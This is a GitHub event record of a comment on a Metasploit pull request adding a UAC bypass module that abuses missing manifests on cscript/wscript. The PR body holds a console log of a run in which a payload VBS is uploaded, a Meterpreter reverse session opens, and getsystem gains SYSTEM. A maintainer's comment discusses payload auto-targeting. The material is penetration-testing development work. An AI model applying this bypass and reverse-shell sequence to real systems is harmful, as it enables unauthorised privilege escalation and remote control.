{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5880","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5880/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5880/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5880/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5880","id":102648839,"number":5880,"title":"ScriptHost Bypass UAC Technique","user":{"login":"Meatballs1","id":1854557,"avatar_url":"https://avatars.githubusercontent.com/u/1854557?v=3","gravatar_id":"","url":"https://api.github.com/users/Meatballs1","html_url":"https://github.com/Meatballs1","followers_url":"https://api.github.com/users/Meatballs1/followers","following_url":"https://api.github.com/users/Meatballs1/following{/other_user}","gists_url":"https://api.github.com/users/Meatballs1/gists{/gist_id}","starred_url":"https://api.github.com/users/Meatballs1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Meatballs1/subscriptions","organizations_url":"https://api.github.com/users/Meatballs1/orgs","repos_url":"https://api.github.com/users/Meatballs1/repos","events_url":"https://api.github.com/users/Meatballs1/events{/privacy}","received_events_url":"https://api.github.com/users/Meatballs1/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"hmoore-r7","id":1171392,"avatar_url":"https://avatars.githubusercontent.com/u/1171392?v=3","gravatar_id":"","url":"https://api.github.com/users/hmoore-r7","html_url":"https://github.com/hmoore-r7","followers_url":"https://api.github.com/users/hmoore-r7/followers","following_url":"https://api.github.com/users/hmoore-r7/following{/other_user}","gists_url":"https://api.github.com/users/hmoore-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/hmoore-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hmoore-r7/subscriptions","organizations_url":"https://api.github.com/users/hmoore-r7/orgs","repos_url":"https://api.github.com/users/hmoore-r7/repos","events_url":"https://api.github.com/users/hmoore-r7/events{/privacy}","received_events_url":"https://api.github.com/users/hmoore-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":8,"created_at":"2015-08-23T19:18:59Z","updated_at":"2015-09-02T15:57:40Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5880","html_url":"https://github.com/rapid7/metasploit-framework/pull/5880","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5880.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5880.patch"},"body":"Uses the missing .manifest file on the cscript/wscript files to bypass UAC.  \r\n\r\n## Example Run\r\n```\r\n[*] [2015.08.23-20:15:28] Started reverse handler on 192.168.72.133:5555 \r\n[+] [2015.08.23-20:15:29] Windows 7 (Build 7600). may be vulnerable.\r\n[*] [2015.08.23-20:15:29] UAC is Enabled, checking level...\r\n[*] [2015.08.23-20:15:29] Checking admin status...\r\n[+] [2015.08.23-20:15:30] Part of Administrators group! Continuing...\r\n[+] [2015.08.23-20:15:31] UAC is set to Default\r\n[+] [2015.08.23-20:15:31] BypassUAC can bypass this setting, continuing...\r\n[*] [2015.08.23-20:15:31] Powershell command length: 2259\r\n[*] [2015.08.23-20:15:31] Uploading the Payload VBS to the filesystem...\r\n[*] [2015.08.23-20:15:31] Payload VBS 4614 bytes long being uploaded..\r\n[*] [2015.08.23-20:15:32] Sending stage (885806 bytes) to 192.168.72.134\r\n[*] Meterpreter session 5 opened (192.168.72.133:5555 -> 192.168.72.134:49162) at 2015-08-23 20:15:34 +0100\r\n[+] [2015.08.23-20:15:37] Deleted C:\\Users\\User\\AppData\\Local\\Temp\\gtYlwnLT.vbs\r\n\r\nmeterpreter > getsystem\r\n[-] Unknown command: getsystem.\r\nmeterpreter > getsystem\r\n...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).\r\n```\r\n\r\n## Verification\r\n\r\n- [ ] Runs on Windows 7\r\n- [ ] Runs on Windows 8\r\n- [ ] Runs on Windows 8.1 (todo check the verification?)\r\n- [ ] Runs on Windows 10 (Todo meterpreter bugs!)\r\n- [ ] VBS Script is cleaned off target host\r\n\r\nIt currently just uses a powershell command line for a payload, but an alternative technique could be to just upload an executable. "},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/137143153","html_url":"https://github.com/rapid7/metasploit-framework/pull/5880#issuecomment-137143153","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5880","id":137143153,"user":{"login":"jlee-r7","id":1173675,"avatar_url":"https://avatars.githubusercontent.com/u/1173675?v=3","gravatar_id":"","url":"https://api.github.com/users/jlee-r7","html_url":"https://github.com/jlee-r7","followers_url":"https://api.github.com/users/jlee-r7/followers","following_url":"https://api.github.com/users/jlee-r7/following{/other_user}","gists_url":"https://api.github.com/users/jlee-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jlee-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlee-r7/subscriptions","organizations_url":"https://api.github.com/users/jlee-r7/orgs","repos_url":"https://api.github.com/users/jlee-r7/repos","events_url":"https://api.github.com/users/jlee-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jlee-r7/received_events","type":"User","site_admin":false},"created_at":"2015-09-02T15:57:40Z","updated_at":"2015-09-02T15:57:40Z","body":"Auto-targeting across architectures (and platforms for that matter) is a design problem that we've been plagued by for years. We've had a bunch of discussions about how to get around this, but none of it has come to an awesome solution. In an ideal world, a user would just select a type of payload (meterpreter, shell, or otherwise) and the exploit would generate the right thing. That falls down however because Unfortunately not all payloads, and not all platforms, are created equal.  `vncinject` wouldn't work for a command injection vulnerability or for any victim that isn't Windows, for example.\r\n\r\n"}}